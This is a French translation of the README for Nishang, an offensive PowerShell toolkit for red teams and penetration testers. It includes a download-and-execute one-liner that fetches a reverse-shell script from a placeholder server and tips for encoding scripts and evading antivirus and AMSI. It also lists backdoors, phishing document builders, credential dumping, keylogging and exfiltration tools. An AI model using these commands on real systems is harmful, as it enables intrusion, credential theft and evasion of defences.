
Nishang - PowerShell offensif pour l'équipe rouge, les tests de pénétration et la sécurité offensive.
Par Nikhil Mittal Fondateur de Altered Security - Formation pratique au red team et à la sécurité d'entreprise !
Importer tous les scripts dans la session PowerShell actuelle (PowerShell v3 et ultérieur).
PS C:\nishang> Import-Module .\nishang.psm1
Utiliser les scripts individuels avec le dot sourcing.
PS C:\nishang> . C:\nishang\Gather\Get-Information.ps1
PS C:\nishang> Get-Information
Pour obtenir de l'aide sur un script ou une fonction, utilisez :
PS C:\nishang> Get-Help [scriptname] -full
Notez que l'aide est disponible pour la fonction chargée après l'exécution du script et non pour le script lui-même depuis la version 0.3.8. Dans tous les cas, le nom de la fonction est le même que celui du script.
Par exemple, pour voir l'aide sur Get-WLAN-Keys.ps1, utilisez
PS C:\nishang> . C:\nishang\Get-WLAN-Keys.ps1
PS C:\nishang> Get-Help Get-WLAN-Keys -Full
Les scripts Nishang sont détectés comme malveillants par de nombreux antivirus. Les scripts sur une cible sont destinés à être utilisés en mémoire, ce qui est très facile à faire avec PowerShell. Deux méthodes de base pour exécuter des scripts PowerShell en mémoire :
Méthode 1. Utiliser le téléchargement et l'exécution en mémoire : Utilisez la commande ci-dessous pour exécuter un script PowerShell à partir d'un shell distant, d'un shell natif meterpreter, d'un web shell, etc., et la fonction qu'il exporte. Tous les scripts de Nishang exportent une fonction du même nom dans la session PowerShell actuelle.
powershell iex (New-Object Net.WebClient).DownloadString('http://<yourwebserver>/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress [IP] -Port [PortNo.]
Méthode 2. Utiliser le paramètre -encodedcommand (ou -e) de PowerShell
Tous les scripts de Nishang exportent une fonction du même nom dans la session PowerShell actuelle. Assurez-vous donc que l'appel de fonction est effectué dans le script lui-même lors de l'utilisation du paramètre encodedcommand à partir d'un shell non PowerShell. Pour l'exemple ci-dessus, ajoutez un appel de fonction (sans guillemets) "Invoke-PowerShellTcp -Reverse -IPAddress [IP] -Port [PortNo.]".
Encodez le script en utilisant Invoke-Encode de Nishang :
PS C:\nishang> . \nishang\Utility\Invoke-Encode
PS C:\nishang> Invoke-Encode -DataToEncode C:\nishang\Shells\Invoke-PowerShellTcp.ps1 -OutCommand
Données encodées écrites dans .\encoded.txt
Commande encodée écrite dans .\encodedcommand.txt
À partir de ce qui précède, utilisez le script encodé depuis encodedcommand.txt et exécutez-le sur une cible où des commandes peuvent être exécutées (un shell distant, un shell natif meterpreter, un web shell, etc.). Utilisez-le comme ci-dessous :
C:\Users\target> powershell -e [encodedscript]
Si les scripts sont toujours détectés, changer les noms des fonctions et des paramètres et supprimer le contenu d'aide aidera.
Si l'AMSI de Windows 10 bloque toujours l'exécution du script, consultez ce blog : http://www.labofapenetrationtester.com/2016/09/amsi.html
Nishang contient actuellement les scripts et payloads suivants.
Modifier les objets AD pour fournir les permissions minimales requises pour DCShadow.
Exécuter des scripts PowerShell en mémoire, exécuter des commandes, et télécharger et uploader des fichiers en utilisant ce webshell.
Un backdoor pouvant recevoir des instructions de sites tiers et exécuter des scripts PowerShell en mémoire.
Un backdoor pouvant recevoir des commandes et des scripts PowerShell via des requêtes DNS TXT, les exécuter sur une cible, et être contrôlé à distance à l'aide de ces requêtes.
Un backdoor pouvant exécuter des scripts PowerShell à un moment donné sur une cible.
Un backdoor pouvant recevoir des commandes et des scripts depuis un SSID WLAN sans s'y connecter.
Un backdoor pouvant utiliser l'économiseur d'écran Windows pour l'exécution de commandes et de scripts à distance.
Un backdoor pouvant utiliser des flux de données alternatifs et le registre Windows pour assurer la persistance.
Un backdoor utilisant la technique bien connue du débogueur pour exécuter un payload avec les touches rémanentes et Utilman (touche Windows + U).
Modifier les permissions des espaces de noms DCOM et WMI pour autoriser l'accès à un utilisateur non administrateur.
Modifier les permissions de PowerShell remoting pour autoriser l'accès à un utilisateur non administrateur.
Implémentation de méthodes publiquement connues pour contourner/éviter AMSI.
Créer des fichiers CHM infectés capables d'exécuter des commandes et scripts PowerShell.
Créer des fichiers Word et infecter des fichiers existants pour exécuter des commandes et scripts PowerShell.
Créer des fichiers Excel et infecter des fichiers existants pour exécuter des commandes et scripts PowerShell.
Créer un fichier HTA pouvant être déployé sur un serveur web et utilisé dans des campagnes de phishing.
Créer des fichiers JAR signés pouvant être utilisés avec des applets pour l'exécution de scripts et de commandes.
Créer des fichiers de raccourci capables d'exécuter des commandes et scripts PowerShell.
Créer des fichiers IQY pour le phishing d'identifiants et de hash SMB.
Créer des fichiers JS capables d'exécuter des commandes et scripts PowerShell.
Créer des fichiers SCT capables d'exécuter des commandes et scripts PowerShell.
Créer un fichier SCF pouvant être utilisé pour capturer les challenges de hachage NTLM.
Lorsque des privilèges SYSTEM sont requis.
Introduire des vulnérabilités en supprimant des correctifs.
Contourner l'UAC.
Télécharger et exécuter un script PowerShell en mémoire.
Télécharger un exécutable au format texte, le convertir en exécutable, et l'exécuter.
Exécuter des commandes PowerShell, des commandes natives ou des commandes SQL sur un serveur MSSQL avec des privilèges suffisants.
Exécuter du shellcode en mémoire à l'aide de requêtes DNS TXT.
Exécuter des commandes et scripts PowerShell ou une session PowerShell inversée en utilisant rundll32.exe.
Vérifier la présence d'une machine virtuelle.
Copier le fichier SAM en utilisant le service Volume Shadow Copy.
Tromper un utilisateur pour qu'il fournisse des identifiants en texte clair.
Une paire de scripts pour les tests de sortie.
Obtenir des informations juteuses d'une cible.
Obtenir le secret LSA d'une cible.
Obtenir les hachages de mots de passe d'une cible.
Obtenir les clés WLAN en texte clair d'une cible.
Enregistrer les frappes clavier d'une cible.
Invoke-MimikatzWdigestDowngrade
Dumper les mots de passe utilisateur en clair sur Windows 8.1 et Server 2012
Obtenir les indices de mots de passe des utilisateurs Windows depuis une cible.
Se reconnecter et diffuser l'écran cible en utilisant MJPEG.
Charger mimikatz en mémoire. Mis à jour et avec quelques personnalisations.
Extraire des informations juteuses de la mémoire des processus cibles (comme les navigateurs) en utilisant des regex.
Exfiltrer des informations telles que les identifiants utilisateur, en utilisant le SSID WLAN.
Identifier les jump-boxes administrateurs et/ou les ordinateurs utilisés pour accéder aux machines Unix.
Un proxy HTTPS local pour les attaques MITM.
Vérifier les identifiants sur plusieurs ordinateurs et créer des PSSessions.
Run-EXEonRemote Copier et exécuter un exécutable sur plusieurs machines.
Invoke-NetworkRelay Créer des relais réseau entre ordinateurs.
Vérifier les hachages des processus en cours d'exécution par rapport à la base de données VirusTotal.
Forcer brutalement FTP, Active Directory, MSSQL et Sharepoint.
Un scanneur de ports pratique.
Toutes les fonctionnalités de nishang dans un seul module de script.
Envoyer des commandes et des scripts à un compte Gmail spécifié pour être exécutés par Invoke-PsGcatAgent
Exécuter les commandes et scripts envoyés par Invoke-PsGcat.
Un shell interactif PowerShell de connexion inversée ou bind
Version allégée de Invoke-PowerShellTcp. Contient également une version squelette qui pourrait tenir dans deux tweets.
Invoke-PowerShellTcpOneLineBind
Version bind de Invoke-PowerShellTcpOneLine.
Un shell interactif PowerShell de connexion inversée ou bind sur UDP
Version allégée de Invoke-PowerShellUdp.
PowerShell interactif inversé sur HTTPS.
PowerShell interactif inversé sur HTTP.
Nettoyer le système après avoir utilisé Invoke-PoshRatHttps
PowerShell interactif en utilisant WMI.
Un shell inversé interactif PowerShell sur ICMP.
Un shell inversé interactif PowerShell sur HTTP en utilisant rundll32.exe.
Un shell inversé interactif PowerShell sur HTTP en utilisant regsvr32.exe.
Ajouter une capacité d'exfiltration de données vers Gmail, Pastebin, un serveur web et DNS à n'importe quel script.
Ajouter une capacité de persistance au redémarrage à un script.
Supprimer la persistance ajoutée par le script Add-Persistence.
Tuyauter (|) ceci vers n'importe quel script pour exfiltrer la sortie.
Transférer un fichier vers la cible.
Analyser les touches enregistrées par le keylogger.
Encoder et compresser un script ou une chaîne.
Décoder et décompresser un script ou une chaîne provenant de Invoke-Encode.
Exécuter un serveur web qui enregistre l'authentification de base et les hachages SMB.
Encoder une chaîne en ROT13 ou décoder une chaîne ROT13.
Générer des enregistrements DNS TXT pouvant être utilisés avec d'autres scripts.
[Base64ToString]
[StringToBase64]
[ExetoText]
[TexttoExe]
Les mises à jour concernant Nishang se trouvent sur mon blog http://labofapenetrationtester.com et mon fil Twitter @nikhil_mitt.
Veuillez soumettre un problème si vous rencontrez un bug ou avez une demande de fonctionnalité. Vous pouvez m'envoyer un email à nikhil [dot] uitrgpv at gmail.com
Pour les retours, discussions et demandes de fonctionnalités, rejoignez : http://groups.google.com/group/nishang-users
Je suis toujours à la recherche de contributeurs pour Nishang. Veuillez soumettre des demandes ou m'envoyer un email.
Quelques articles de blog utiles à consulter pour les débutants :
http://www.labofapenetrationtester.com/2014/06/nishang-0-3-4.html
http://labofapenetrationtester.com/2012/08/introducing-nishang-powereshell-for.html
http://labofapenetrationtester.com/2013/08/powerpreter-and-nishang-Part-1.html
http://www.labofapenetrationtester.com/2013/09/powerpreter-and-nishang-Part-2.html
Tous les articles sur Nishang :